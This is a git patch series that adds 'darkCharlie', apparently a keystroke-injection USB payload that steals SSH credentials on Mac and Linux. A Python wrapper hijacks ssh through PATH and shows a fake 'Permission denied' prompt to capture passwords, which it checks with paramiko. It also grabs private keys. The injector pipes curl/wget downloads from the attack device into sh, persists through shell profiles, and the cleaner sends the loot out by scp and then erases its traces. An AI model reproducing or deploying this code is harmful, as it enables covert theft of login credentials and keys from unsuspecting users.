From 0f4129b124c21cee91eae2579d540021bad15e0d Mon Sep 17 00:00:00 2001 From: Michael Weinstein Date: Tue, 19 Sep 2017 14:14:59 -0700 Subject: [PATCH 1/6] Python payload prototype Version has been tested to deal with some command line scenarios. Still want to test its ability to work with paramiko, including trying to get it to install if it hasn't already. --- .../library/credentials/darkCharlie/ssh.py | 412 ++++++++++++++++++ 1 file changed, 412 insertions(+) create mode 100644 payloads/library/credentials/darkCharlie/ssh.py diff --git a/payloads/library/credentials/darkCharlie/ssh.py b/payloads/library/credentials/darkCharlie/ssh.py new file mode 100644 index 00000000..7ea76f48 --- /dev/null +++ b/payloads/library/credentials/darkCharlie/ssh.py @@ -0,0 +1,412 @@ +#! PYTHON_EXECUTABLE_GOES_HERE + +''' +Dark Charlie remote shell cred grabber + +Version 0.1 + +Using open-ended exceptions here to maintain silence when errors happen +''' + +originalSSHExecutable = "ORIGINAL_SSH_EXE_GOES_HERE" + +def cantLoadModuleError(): + import sys + if sys.version_info.major < 3: + return ImportError + if sys.version_info.minor < 6: + return ImportError + else: + return ModuleNotFoundError + +def getLootFileName(): + import os + thisFullPath = os.path.abspath(__file__) + thisDirectory = os.path.split(thisFullPath)[0] + lootFile = thisDirectory + os.sep + "ssh.conf" + return os.path.join(lootFile) + +def initializeThisScript(): + '''This function will be run the first time by the bunny''' + import subprocess + import re + pathFinder = subprocess.Popen("which python".split(), stdout = subprocess.PIPE) + pythonExecutable = pathFinder.stdout.read().strip() + pathFinder = subprocess.Popen("which ssh".split(), stdout = subprocess.PIPE) + sshExecutable = pathFinder.stdout.read().strip() + try: + import paramiko + except cantLoadModuleError(): + try: + paramikoInstaller = subprocess.Popen("pip install --user paramiko".split(), stdout = subprocess.PIPE, stderr = subprocess.PIPE) + paramikoInstaller = subprocess.Popen("pip3 install --user paramiko".split(), stdout = subprocess.PIPE, stderr = subprocess.PIPE) + except: + pass + try: + import json + except cantLoadModuleError(): + try: + jsonInstaller = subprocess.Popen("pip install --user json".split(), stdout = subprocess.PIPE, stderr = subprocess.PIPE) + jsonInstaller = subprocess.Popen("pip3 install --user json".split(), stdout = subprocess.PIPE, stderr = subprocess.PIPE) + except: + pass + try: + import getpass + except: + try: + getPassInstaller = subprocess.Popen("pip install --user getpass", stdout = subprocess.PIPE, stderr = subprocess.PIPE) + except: + pass + thisFileName = __file__ + thisFile = open(thisFileName, 'r') + originalCode = thisFile.read() + thisFile.close() + newCode = re.sub("PYTHON_EXECUTABLE_GOES_HERE", pythonExecutable, originalCode, 1) + newCode = re.sub("ORIGINAL_SSH_EXE_GOES_HERE", sshExecutable, newCode, 1) + thisFile = open(thisFileName, 'w') + thisFile.write(newCode) + thisFile.close() + createLootFile(getLootFileName()) + quit() + +def createLootFile(lootFileName): + import json + initialData = {"configFiles":{}, "passwords":{}} + addDefaultSSHConfigFilesToLoot(initialData) + lootFile = open(lootFileName, 'w') + json.dump(initialData, lootFile) + lootFile.close() + +def addDefaultSSHConfigFilesToLoot(lootData): #using lootData as a reference here, no returns + mainConfigData, userConfigData = analyzeDefaultSSHConfigFiles() + mainConfigHash, mainData = mainConfigData + userConfigHash, userData = userConfigData + lootData["configFiles"][mainConfigHash] = mainData + lootData["configFiles"]["main"] = mainData + lootData["configFiles"][userConfigHash] = userData + lootData["configFiles"]["user"] = userData + +def analyzeDefaultSSHConfigFiles(): + import os + try: + mainConfigData = analyzeConfigFile("/etc/ssh/ssh_config") + if mainConfigData: + mainFileHash, mainData = mainConfigData + else: + mainFileHash = None + mainData = None + except: + mainFileHash = None + mainData = None + try: + userConfigFileName = os.getenv("HOME") + "/.ssh/config" + userConfigData = analyzeConfigFile(userConfigFileName) + if userConfigData: + userFileHash, userData = userConfigData + else: + userFileHash = None + userData = None + except: + userFileHash = None + userData = None + return ((mainFileHash, mainData), (userFileHash, userData)) + +def loadLootFile(lootFileName): + import json + try: + file = open(lootFileName, 'r') + data = json.load(file) + file.close() + return data + except: + return False + +def saveLootFile(loot, lootFileName): + import json + try: + file = open(lootFileName, 'w') + json.dump(loot, file) + file.close() + except: + pass + +class SSHArgHandler(object): + + def __init__(self, rawArgList): + self.password = None + self.optionsDict = self.getOptionsDict(rawArgList) + self.keyFileName = self.findArgument("-i", rawArgList) + if self.keyFileName: + self.keyFile = snarfKeyFile(self.keyFileName) + else: + self.keyFile = None + self.configFile = self.findArgument("-F", rawArgList) + if self.configFile: + configFileInfo = analyzeConfigFile(self.configFile) + else: + configFileInfo = None + if configFileInfo: + self.configFileHash, self.configFileDict = configFileInfo + else: + self.configFileHash = None + self.configFileDict = None + self.host = rawArgList[-1] + if "@" in self.host: + self.host = self.host.split("@")[-1] + self.port = self.findArgument("-p", rawArgList) + self.user = self.findUserName(rawArgList) + self.commandOptions = " ".join(rawArgList[1:]) + self.intendedCommand = originalSSHExecutable + " " + self.commandOptions + + def findUserName(self, args): + user = self.findArgument("-l", args) + if not user: + if "@" in args[-1]: + user = args[-1].split("@")[0] + if not user: + if "User" in self.optionsDict: + user = self.optionsDict["User"] + if not user: + if self.configFileDict and self.host in self.configFileDict: + if "User" in self.configFileDict[self.host]: + user = self.configFileDict[self.host]["User"] + if not user: + return "None" + return user + + def getOptionsDict(self, args): + interestingArgs = args[1:-1] + options = {} + for i in range(len(interestingArgs)): + rawOption = None + if interestingArgs[i].startswith("-o"): + if len(interestingArgs[i]) > 2: + rawOption = interestingArgs[i][2:] + elif i == len(interestingArgs) - 1: #somebody probably messed up the command + continue + else: + rawOption = interestingArgs[i + 1] + if rawOption: + optionList = rawOption.split("=") + if len(optionList) == 2: + key, value = optionList + options[key] = value + return options + + def findArgument(self, argOfInterest, args): #this assumes the argument of interest should only show up in the command once + interestingArgs = args[1:-1] + for i in range(len(interestingArgs)): + if interestingArgs[i].startswith(argOfInterest): + if len(interestingArgs[i]) > 2 and not argOfInterest.startswith("--"): + value = interestingArgs[i][2:] + elif i == len(interestingArgs) - 1: #ten bucks says this probably won't run + continue + else: + return interestingArgs[i + 1] + return None + + def saveData(self): + infoDict = {} + if self.password: + infoDict["password"] = self.password + if self.optionsDict: + infoDict["options"] = self.optionsDict + if self.keyFile: + infoDict["privateKey"] = self.keyFile + if self.host: + infoDict["host"] = self.host + if self.port: + infoDict["port"] = self.port + if self.user: + infoDict["user"] = self.user + return infoDict + +def analyzeConfigFile(configFileName): #The tat rolled a 20? + import os + import re + regexSplitter = re.compile("[\s\=]") + if not os.path.isfile(configFileName): + return False + file = open(configFileName, 'r') + data = file.read() + file.close() + fileHash = hash(data) + data = data.split("\n") + currentHostNickname = "None" + hostDict = {} + for line in data: + line = line.strip() + if not line: + continue + if line.startswith("#"): + continue + if line.startswith("Host") and line.split()[0] == "Host": + hostLine = re.split(regexSplitter, line) + if len(hostLine) > 1: + currentHostNickname = hostLine[1] + else: + currentHostNickname = "None" + if not currentHostNickname in hostDict: + hostDict[currentHostNickname] = {} + continue + lineSplit = re.split(regexSplitter, line) + if len(lineSplit) == 1: + hostDict[currentHostNickname][lineSplit[0]] = "None" + else: + key = lineSplit[0] + value = " ".join(lineSplit[1:]) + try: + if key == "IdentityFile": + keyRead = snarfKeyFile(value) + if not keyRead: + value += "(FILENOTFOUND)" + else: + value = keyRead + except: + value = "UnableToLoad" + hostDict[currentHostNickname][key] = value + return (fileHash, hostDict) + +def snarfKeyFile(keyFileName): + import os + import base64 + if not os.path.isfile(keyFileName): + return False + keyFile = open(keyFileName, 'rb') + key = keyFile.read() + keyFile.close() + return base64.b64encode(key).decode() + +def paramikoSaysWeNeedAPassword(host, port, user): + try: + import paramiko + except cantLoadModuleError(): + return True #default to true if we can't check it + ssh = paramiko.SSHClient() + ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy) + try: + ssh.connect(host, port = int(port), username = user) + ssh.close() + return False + except paramiko.ssh_exception.SSHException: + try: + ssh.connect(host, port = int(port), username = user, password = "12345") #probably not their real password unless they're an idiot and this is their luggage + ssh.close() + return False + except paramiko.ssh_exception.AuthenticationException: + return True + except: + return False + +def paramikoApprovesOfThisPassword(host, port, user, password): + try: + import paramiko + except cantLoadModuleError(): + return True #default to true if we can't check it + ssh = paramiko.SSHClient() + ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy) + try: + ssh.connect(host, port = int(port), username = user, password = password) #hopefully their real password + ssh.close() + return True + except paramiko.ssh_exception.AuthenticationException: + return False + +def parseArguments(): + import sys + argList = sys.argv + if "--initializeScript" in sys.argv: + initializeThisScript() + else: + return argList + +def findHostInLootConfigs(lootFileData, host): + for fileHash in lootFileData["configFiles"]: + if host in lootFileData["configFiles"][fileHash]: + return lootFileData["configFiles"][fileHash][host] + return None + +def getUserName(): + import getpass + return getpass.getuser() + +def lowDownDirtyDeceiver(user, hostAddress): + import getpass + prompt = "%s@%s's password: " %(user, hostAddress) + password = getpass.getpass(prompt) + print("Permission denied, please try again.") + return password + +def shinyLetsBeBadGuys(): + argList = parseArguments() + lootFileData = loadLootFile(getLootFileName()) + sshArgs = SSHArgHandler(argList) + if sshArgs.configFileHash: + lootFileData["configFiles"][sshArgs.configFileHash] = sshArgs.configFileDict + addDefaultSSHConfigFilesToLoot(lootFileData) + hostConfigFileData = findHostInLootConfigs(lootFileData, sshArgs.host) + hostAddress = sshArgs.host + userName = None + hostPort = None + password = None + if lootFileData["configFiles"]["main"]: + if "HostName" in lootFileData["configFiles"]["main"]: + hostAddress = lootFileData["configFiles"]["main"]["HostName"] + if "Port" in lootFileData["configFiles"]["main"]: + hostPort = lootFileData["configFiles"]["main"]["Port"] + if "IdentityFile" in lootFileData["configFiles"]["main"]: + password = "file(%s)" %lootFileData["configFiles"]["main"]["IdentityFile"] + if lootFileData["configFiles"]["user"]: + if "HostName" in lootFileData["configFiles"]["user"]: + hostAddress = lootFileData["configFiles"]["user"]["HostName"] + if "Port" in lootFileData["configFiles"]["user"]: + hostPort = lootFileData["configFiles"]["user"]["Port"] + if "IdentityFile" in lootFileData["configFiles"]["user"]: + password = "file(%s)" %lootFileData["configFiles"]["user"]["IdentityFile"] + if hostConfigFileData: + if "HostName" in hostConfigFileData: + hostAddress = hostConfigFileData["HostName"] + if "Port" in hostConfigFileData: + hostPort = hostConfigFileData["Port"] + if "IdentityFile" in hostConfigFileData: + password = "file(%s)" %hostConfigFileData["IdentityFile"] + if sshArgs.user: + userName = sshArgs.user + if sshArgs.port: + hostPort = sshArgs.port + if sshArgs.keyFile: + password = "file(%s)" %sshArgs.keyFile + if not userName: + try: + userName = getUserName() + except: + userName = "DefaultUserName" + if not hostPort: + hostPort = "22" + hostInfo = "%s@%s:%s" %(userName, hostAddress, hostPort) # user@hostAddress:port + if not password: + if not hostInfo in lootFileData["passwords"]: + gotValidPass = False + while not gotValidPass: + try: + password = lowDownDirtyDeceiver(userName, hostAddress) + except: + password = FailedToObtain + break + try: + gotValidPass = paramikoApprovesOfThisPassword(hostAddress, hostPort, userName, password) + except: + break + lootFileData["passwords"][hostInfo] = [password, sshArgs.intendedCommand, sshArgs.saveData()] #json doesn't do tuples anyway + saveLootFile(lootFileData, getLootFileName()) + +if __name__ == '__main__': + import os + args = parseArguments() + intendedCommand = args[:] + intendedCommand[0] = originalSSHExecutable + intendedCommand = " ".join(intendedCommand) + if len(args) > 1: + shinyLetsBeBadGuys() + os.system(intendedCommand) + quit() \ No newline at end of file From 77b1a4e1230dc6fe9bb3ee110b900258aeb2d6c3 Mon Sep 17 00:00:00 2001 From: Michael Weinstein Date: Tue, 19 Sep 2017 23:47:21 -0700 Subject: [PATCH 2/6] Now with injection and cleaning --- .../darkCharlie/cleaner/payload.txt | 66 ++++++++++++++++ .../{ssh.py => injector/darkCharlie.py} | 0 .../darkCharlie/injector/payload.txt | 79 +++++++++++++++++++ .../credentials/darkCharlie/injector/post.sh | 9 +++ .../credentials/darkCharlie/injector/pre.sh | 11 +++ 5 files changed, 165 insertions(+) create mode 100644 payloads/library/credentials/darkCharlie/cleaner/payload.txt rename payloads/library/credentials/darkCharlie/{ssh.py => injector/darkCharlie.py} (100%) create mode 100644 payloads/library/credentials/darkCharlie/injector/payload.txt create mode 100644 payloads/library/credentials/darkCharlie/injector/post.sh create mode 100644 payloads/library/credentials/darkCharlie/injector/pre.sh diff --git a/payloads/library/credentials/darkCharlie/cleaner/payload.txt b/payloads/library/credentials/darkCharlie/cleaner/payload.txt new file mode 100644 index 00000000..db71f259 --- /dev/null +++ b/payloads/library/credentials/darkCharlie/cleaner/payload.txt @@ -0,0 +1,66 @@ +#!/bin/bash + +# Title: darkCharlie{Cleaner} +# Author: Michael Weinstein +# Target: Mac/Linux +# Version: 0.1 +# +# Get the ssh creds from our loot collection. +# And clean up after +# +# White | Ready +# Blue blinking | Attacking +# Green | Finished + +LED SETUP + +#setup the attack on macos (if false, attack is for Linux) +mac=false + +if [ "$mac" = true ] +then + ATTACKMODE ECM_ETHERNET HID VID_0X05AC PID_0X021E +else + ATTACKMODE ECM_ETHERNET HID +fi + +DUCKY_LANG us + +GET SWITCH_POSITION +GET HOST_IP + +cd /root/udisk/payloads/$SWITCH_POSITION/ +LOOT=/root/udisk/loot/darkCharlie +mkdir -p $LOOT + +LED ATTACK + +if [ "$mac" = true ] +then + RUN OSX terminal +else + RUN UNITY xterm +fi +QUACK DELAY 2000 + +QUACK STRING scp -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no \~/.config/ssh/ssh.conf root@$HOST_IP:$LOOT/\$USER.sudo.passwd #nice hiding of known host info +QUACK DELAY 200 +QUACK ENTER +QUACK DELAY 500 +QUACK STRING hak5bunny +QUACK DELAY 200 +QUACK ENTER +QUACK DELAY 500 +if [ "$mac" = true ] +then + QUACK STRING rm -rf \~/.config/ssh \&\& sed -i \'/export PATH=\\~\\/.config\\/ssh:/d\' \~/.bash_profile +else + QUACK STRING rm -rf \~/.config/ssh \&\& sed -i \'/export PATH=\\~\\/.config\\/ssh:/d\' \~/.bashrc +fi +QUACK ENTER +QUACK DELAY 200 +QUACK STRING exit +QUACK DELAY 200 +QUACK ENTER +LED SUCCESS +#See you, space cowboy... \ No newline at end of file diff --git a/payloads/library/credentials/darkCharlie/ssh.py b/payloads/library/credentials/darkCharlie/injector/darkCharlie.py similarity index 100% rename from payloads/library/credentials/darkCharlie/ssh.py rename to payloads/library/credentials/darkCharlie/injector/darkCharlie.py diff --git a/payloads/library/credentials/darkCharlie/injector/payload.txt b/payloads/library/credentials/darkCharlie/injector/payload.txt new file mode 100644 index 00000000..a59c6d07 --- /dev/null +++ b/payloads/library/credentials/darkCharlie/injector/payload.txt @@ -0,0 +1,79 @@ +#!/bin/bash + +# Title: darkCharlie +# Author: Michael Weinstein +# Target: Mac/Linux +# Version: 0.1 +# +# Create a wrapper for ssh sessions that +# will live inside ~/.config/ssh and be added +# tn the $PATH. +# +# This payload was inspired greatly by SudoBackdoor +# and much of the code here was derived (or copied +# wholesale) from that with great thanks to oXis. +# +# White | Ready +# Amber blinking | Waiting for server +# Blue blinking | Attacking +# Green | Finished + +LED SETUP + +#setup the attack on macos (if false, attack is for Linux) +mac=false + +if [ "$mac" = true ] +then + ATTACKMODE ECM_ETHERNET HID VID_0X05AC PID_0X021E +else + ATTACKMODE ECM_ETHERNET HID +fi + +DUCKY_LANG us + +GET SWITCH_POSITION +GET HOST_IP + +cd /root/udisk/payloads/$SWITCH_POSITION/ + +# starting server +LED SPECIAL + +iptables -A OUTPUT -p udp --dport 53 -j DROP +python -m SimpleHTTPServer 80 & + +# wait until port is listening (credit audibleblink) +while ! nc -z localhost 80; do sleep 0.2; done +# that was brilliant! + +LED ATTACK + +if [ "$mac" = true ] +then + RUN OSX terminal +else + RUN UNITY xterm +fi +QUACK DELAY 2000 + +if [ "$mac" = true ] +then + QUACK STRING curl "http://$HOST_IP/pre.sh" \| sh + QUACK STRING curl "http://$HOST_IP/darkCharlie.py" \> ~/.config/ssh/ssh + QUACK STRING curl "http://$HOST_IP/post.sh" \| sh + QUACK STRING ~/.config/ssh/ssh --initializeScript +else + QUACK STRING wget -O - "http://$HOST_IP/pre.sh" \| sh #I think wget defaults to outputting to a file and needs explicit instructions to output to STDOUT + QUACK STRING wget -O - "http://$HOST_IP/darkCharlie.py" \> ~/.config/ssh/ssh #Will test this on a mac when I finish up + QUACK STRING wget -O - "http://$HOST_IP/post.sh" \| sh + QUACK STRING ~/.config/ssh/ssh --initializeScript +fi + +QUACK DELAY 200 +QUACK ENTER +QUACK DELAY 200 +QUACK STRING exit +QUACK DELAY 200 +QUACK ENTER +LED SUCCESS #The Dungeons and Dragons tattoo hath rolled a 20 diff --git a/payloads/library/credentials/darkCharlie/injector/post.sh b/payloads/library/credentials/darkCharlie/injector/post.sh new file mode 100644 index 00000000..bff63547 --- /dev/null +++ b/payloads/library/credentials/darkCharlie/injector/post.sh @@ -0,0 +1,9 @@ +#!/bin/bash + +chmod u+x ~/.config/sudo/sudo +if [ -f ~/.bash_profile ] +then + echo "export PATH=~/.config/ssh:$PATH" >> ~/.bash_profile +else + echo "export PATH=~/.config/ssh:$PATH" >> ~/.bashrc +fi \ No newline at end of file diff --git a/payloads/library/credentials/darkCharlie/injector/pre.sh b/payloads/library/credentials/darkCharlie/injector/pre.sh new file mode 100644 index 00000000..06431c18 --- /dev/null +++ b/payloads/library/credentials/darkCharlie/injector/pre.sh @@ -0,0 +1,11 @@ +#!/bin/bash + +if [ ! -d ~/.config/ssh ] +then + mkdir -p ~/.config/ssh +fi + +if [ -f ~/.config/ssh/ssh ] +then + rm ~/.config/ssh/ssh +fi \ No newline at end of file From 99e6b63f4215a55c56db175df287874382805bb5 Mon Sep 17 00:00:00 2001 From: Michael Weinstein Date: Thu, 21 Sep 2017 01:34:02 -0700 Subject: [PATCH 3/6] Testing bug fixes Windows line endings removed. Grrrr. WTF, microsoft? Found and fixed bug caused by missing default ssh config files making the program index into a NoneType by checking to make sure there's data there before indexing in. Added the blanket try/except block for silent failures. Main cause of these appears to be very badly written (invalid) ssh commands. This is probably the best behavior the program could have with these... just silently run them and let them fail normally. Do not pass go, do not collect 200 passwords. --- .../darkCharlie/injector/darkCharlie.py | 19 +++++++++------- .../darkCharlie/injector/payload.txt | 22 ++++++++++++++++--- .../credentials/darkCharlie/injector/post.sh | 5 +++-- .../credentials/darkCharlie/injector/pre.sh | 2 +- 4 files changed, 34 insertions(+), 14 deletions(-) diff --git a/payloads/library/credentials/darkCharlie/injector/darkCharlie.py b/payloads/library/credentials/darkCharlie/injector/darkCharlie.py index 7ea76f48..225b5dcc 100644 --- a/payloads/library/credentials/darkCharlie/injector/darkCharlie.py +++ b/payloads/library/credentials/darkCharlie/injector/darkCharlie.py @@ -322,7 +322,7 @@ def parseArguments(): def findHostInLootConfigs(lootFileData, host): for fileHash in lootFileData["configFiles"]: - if host in lootFileData["configFiles"][fileHash]: + if lootFileData["configFiles"][fileHash] and host in lootFileData["configFiles"][fileHash]: #have to check if there is even file data there, otherwise we end up indexing into nothing and failing hard return lootFileData["configFiles"][fileHash][host] return None @@ -391,7 +391,7 @@ def shinyLetsBeBadGuys(): try: password = lowDownDirtyDeceiver(userName, hostAddress) except: - password = FailedToObtain + password = "FailedToObtain" break try: gotValidPass = paramikoApprovesOfThisPassword(hostAddress, hostPort, userName, password) @@ -402,11 +402,14 @@ def shinyLetsBeBadGuys(): if __name__ == '__main__': import os - args = parseArguments() - intendedCommand = args[:] - intendedCommand[0] = originalSSHExecutable - intendedCommand = " ".join(intendedCommand) - if len(args) > 1: - shinyLetsBeBadGuys() + try: + args = parseArguments() + intendedCommand = args[:] + intendedCommand[0] = originalSSHExecutable + intendedCommand = " ".join(intendedCommand) + if len(args) > 1: + shinyLetsBeBadGuys() + except: #I really feel weird doing a massive open-ended exception here... but silence + pass os.system(intendedCommand) quit() \ No newline at end of file diff --git a/payloads/library/credentials/darkCharlie/injector/payload.txt b/payloads/library/credentials/darkCharlie/injector/payload.txt index a59c6d07..3da8b92b 100644 --- a/payloads/library/credentials/darkCharlie/injector/payload.txt +++ b/payloads/library/credentials/darkCharlie/injector/payload.txt @@ -60,20 +60,36 @@ QUACK DELAY 2000 if [ "$mac" = true ] then QUACK STRING curl "http://$HOST_IP/pre.sh" \| sh + QUACK ENTER + QUACK DELAY 200 QUACK STRING curl "http://$HOST_IP/darkCharlie.py" \> ~/.config/ssh/ssh + QUACK ENTER + QUACK DELAY 200 QUACK STRING curl "http://$HOST_IP/post.sh" \| sh + QUACK ENTER + QUACK DELAY 200 QUACK STRING ~/.config/ssh/ssh --initializeScript + QUACK ENTER + QUACK DELAY 200 else QUACK STRING wget -O - "http://$HOST_IP/pre.sh" \| sh #I think wget defaults to outputting to a file and needs explicit instructions to output to STDOUT - QUACK STRING wget -O - "http://$HOST_IP/darkCharlie.py" \> ~/.config/ssh/ssh #Will test this on a mac when I finish up + QUACK ENTER + QUACK DELAY 200 + QUACK STRING wget -O - "http://$HOST_IP/darkCharlie.py" \> "~/.config/ssh/ssh" #Will test this on a mac when I finish up + QUACK ENTER + QUACK DELAY 200 QUACK STRING wget -O - "http://$HOST_IP/post.sh" \| sh - QUACK STRING ~/.config/ssh/ssh --initializeScript + QUACK ENTER + QUACK DELAY 200 + QUACK STRING python "~/.config/ssh/ssh" --initializeScript + QUACK ENTER + QUACK DELAY 200 fi QUACK DELAY 200 QUACK ENTER QUACK DELAY 200 -QUACK STRING exit +#QUACK STRING exit QUACK DELAY 200 QUACK ENTER LED SUCCESS #The Dungeons and Dragons tattoo hath rolled a 20 diff --git a/payloads/library/credentials/darkCharlie/injector/post.sh b/payloads/library/credentials/darkCharlie/injector/post.sh index bff63547..ab7f2980 100644 --- a/payloads/library/credentials/darkCharlie/injector/post.sh +++ b/payloads/library/credentials/darkCharlie/injector/post.sh @@ -1,9 +1,10 @@ #!/bin/bash -chmod u+x ~/.config/sudo/sudo +chmod u+x ~/.config/ssh/ssh if [ -f ~/.bash_profile ] then echo "export PATH=~/.config/ssh:$PATH" >> ~/.bash_profile else echo "export PATH=~/.config/ssh:$PATH" >> ~/.bashrc -fi \ No newline at end of file +fi + diff --git a/payloads/library/credentials/darkCharlie/injector/pre.sh b/payloads/library/credentials/darkCharlie/injector/pre.sh index 06431c18..27e9a96e 100644 --- a/payloads/library/credentials/darkCharlie/injector/pre.sh +++ b/payloads/library/credentials/darkCharlie/injector/pre.sh @@ -8,4 +8,4 @@ fi if [ -f ~/.config/ssh/ssh ] then rm ~/.config/ssh/ssh -fi \ No newline at end of file +fi From 06d36975d170909107775b1e7acd77bbf9208cc1 Mon Sep 17 00:00:00 2001 From: Michael Weinstein Date: Thu, 21 Sep 2017 10:22:24 -0700 Subject: [PATCH 4/6] Try/except harder Moved the try in the main try/except block so we will always get the original intended command to run. --- .../credentials/darkCharlie/injector/darkCharlie.py | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/payloads/library/credentials/darkCharlie/injector/darkCharlie.py b/payloads/library/credentials/darkCharlie/injector/darkCharlie.py index 225b5dcc..bb9b1c53 100644 --- a/payloads/library/credentials/darkCharlie/injector/darkCharlie.py +++ b/payloads/library/credentials/darkCharlie/injector/darkCharlie.py @@ -402,11 +402,11 @@ def shinyLetsBeBadGuys(): if __name__ == '__main__': import os + args = parseArguments() + intendedCommand = args[:] + intendedCommand[0] = originalSSHExecutable + intendedCommand = " ".join(intendedCommand) try: - args = parseArguments() - intendedCommand = args[:] - intendedCommand[0] = originalSSHExecutable - intendedCommand = " ".join(intendedCommand) if len(args) > 1: shinyLetsBeBadGuys() except: #I really feel weird doing a massive open-ended exception here... but silence From c30c99e66821cca5bce06a6cbb07b5058febe1db Mon Sep 17 00:00:00 2001 From: Michael Weinstein Date: Thu, 21 Sep 2017 15:56:41 -0700 Subject: [PATCH 5/6] Version 0.1 working Added readme and polished up the payloads. Seems to be working now. --- .../darkCharlie/cleaner/payload.txt | 2 +- .../darkCharlie/injector/payload.txt | 10 +++--- .../library/credentials/darkCharlie/readme.md | 36 +++++++++++++++++++ 3 files changed, 42 insertions(+), 6 deletions(-) create mode 100644 payloads/library/credentials/darkCharlie/readme.md diff --git a/payloads/library/credentials/darkCharlie/cleaner/payload.txt b/payloads/library/credentials/darkCharlie/cleaner/payload.txt index db71f259..f78eca67 100644 --- a/payloads/library/credentials/darkCharlie/cleaner/payload.txt +++ b/payloads/library/credentials/darkCharlie/cleaner/payload.txt @@ -43,7 +43,7 @@ else fi QUACK DELAY 2000 -QUACK STRING scp -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no \~/.config/ssh/ssh.conf root@$HOST_IP:$LOOT/\$USER.sudo.passwd #nice hiding of known host info +QUACK STRING scp -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no \~/.config/ssh/ssh.conf root@$HOST_IP:$LOOT/\$USER.$HOSTNAME.ssh.passwd.json #nice hiding of known host info QUACK DELAY 200 QUACK ENTER QUACK DELAY 500 diff --git a/payloads/library/credentials/darkCharlie/injector/payload.txt b/payloads/library/credentials/darkCharlie/injector/payload.txt index 3da8b92b..ec03ae26 100644 --- a/payloads/library/credentials/darkCharlie/injector/payload.txt +++ b/payloads/library/credentials/darkCharlie/injector/payload.txt @@ -73,23 +73,23 @@ then QUACK DELAY 200 else QUACK STRING wget -O - "http://$HOST_IP/pre.sh" \| sh #I think wget defaults to outputting to a file and needs explicit instructions to output to STDOUT - QUACK ENTER QUACK DELAY 200 + QUACK ENTER QUACK STRING wget -O - "http://$HOST_IP/darkCharlie.py" \> "~/.config/ssh/ssh" #Will test this on a mac when I finish up - QUACK ENTER QUACK DELAY 200 + QUACK ENTER QUACK STRING wget -O - "http://$HOST_IP/post.sh" \| sh - QUACK ENTER QUACK DELAY 200 + QUACK ENTER QUACK STRING python "~/.config/ssh/ssh" --initializeScript - QUACK ENTER QUACK DELAY 200 + QUACK ENTER fi QUACK DELAY 200 QUACK ENTER QUACK DELAY 200 -#QUACK STRING exit +QUACK STRING exit QUACK DELAY 200 QUACK ENTER LED SUCCESS #The Dungeons and Dragons tattoo hath rolled a 20 diff --git a/payloads/library/credentials/darkCharlie/readme.md b/payloads/library/credentials/darkCharlie/readme.md new file mode 100644 index 00000000..eb9fa379 --- /dev/null +++ b/payloads/library/credentials/darkCharlie/readme.md @@ -0,0 +1,36 @@ +# darkCharlie SSH credential grabber + +* Author: Michael Weinstein +* Version: 0.1 +* Target: Mac/Linux + +Mad credit to oXis for their attack approach. Much of the code here was developed using SudoBackdoor as a reference. + +Current dev status: I have tested this with both private key and password auth on a linux machine and found it working. I have not extensively tested with config files, but the limited testing I have done suggests that it is working as intended. I have not tested yet on a mac, but will probably do so very soon. I still need to do some more polishing on this, and especially want to get the use of paramiko better where it can check if the login needs a password and then check if the password entered into the wrapper is valid. + +## Description + +Injector: Creates a folder called ~/.config/ssh where it puts a python wrapper for ssh. Next, it copies over the python SSH wrapper. It then runs the initialization function in the wrapper script to set some environmental values like the actual path for SSH and the path for python. The initialization function also initializes a file for saving SSH creds and configuration details in JSON format. It will save the global and user SSH config file details immediately, including grabbing any private keys linked in the config file (if you know these will be of interest, you can exfiltrate them immediately). Finally, ~/.config/ssh is added as the first element on the user's PATH so that they will be running this wrapper instead of actually SSHing in. The main abnormality a user will see is if they need to manually enter a password, they'll get it "wrong" the first time and have to reenter it. This wrapper will load previous loot to see if a server's password has already been gotten and won't try to get it again to avoid raising suspicions. +Cleaner: Gets back the file containing JSON-encoded SSH configuration and credential data. After exfiltration of the data, it will delete the directory and files it created and clean up its change to the bashrc or bash_profile. + +## Configuration + +Inside the injector and the cleaner you can specify mac=true to switch the playload to macos mode. + +## STATUS (Note that I used the same configuration as SudoBackdoor, but I am seeing different LED behaviors. Will investigate this soon.) +Injector + +| LED | Status | +| ---------------- | -------------------- | +| White | Ready | +| Amber blinking | Waiting for server | +| Blue blinking | Attacking | +| Green | Finished | + +Cleaner + +| LED | Status | +| ---------------- | -------------------- | +| White | Ready | +| Blue blinking | Attacking | +| Green | Finished | From 31468c0e63d8a313710e92efbc273cd23c5a017a Mon Sep 17 00:00:00 2001 From: Michael Weinstein Date: Sun, 24 Sep 2017 02:11:45 -0700 Subject: [PATCH 6/6] mac attack Got mac attacks working now. SEDing in place on a mac seems like something that really makes the terminal unhappy. Did the same thing with a python one-shot command. --- .../credentials/darkCharlie/cleaner/payload.txt | 16 ++++++++++++---- .../credentials/darkCharlie/injector/payload.txt | 16 +++++++++++----- 2 files changed, 23 insertions(+), 9 deletions(-) diff --git a/payloads/library/credentials/darkCharlie/cleaner/payload.txt b/payloads/library/credentials/darkCharlie/cleaner/payload.txt index f78eca67..11dfa7c0 100644 --- a/payloads/library/credentials/darkCharlie/cleaner/payload.txt +++ b/payloads/library/credentials/darkCharlie/cleaner/payload.txt @@ -53,14 +53,22 @@ QUACK ENTER QUACK DELAY 500 if [ "$mac" = true ] then - QUACK STRING rm -rf \~/.config/ssh \&\& sed -i \'/export PATH=\\~\\/.config\\/ssh:/d\' \~/.bash_profile + QUACK STRING rm -rf \~/.config/ssh #\&\& sed -i \'/export PATH=\\~\\/.config\\/ssh:/d\' \~/.bash_profile #macs really seem to hate it when you sed in place, I think. + QUACK ENTER + QUACK STRING "python -c \"import os; home = os.environ['HOME']; file = open(home + '/.bash_profile','r'); dataIn = file.readlines(); file.close(); dataOut = [line for line in dataIn if not '~/.config/ssh' in line]; output = ''.join(dataOut); file = open(home + '/.bash_profile','w'); file.write(output); file.close()\"" else QUACK STRING rm -rf \~/.config/ssh \&\& sed -i \'/export PATH=\\~\\/.config\\/ssh:/d\' \~/.bashrc fi QUACK ENTER QUACK DELAY 200 -QUACK STRING exit -QUACK DELAY 200 -QUACK ENTER +if [ "$mac" = true ] +then + QUACK DELAY 2000 + QUACK GUI w +else + QUACK STRING exit + QUACK DELAY 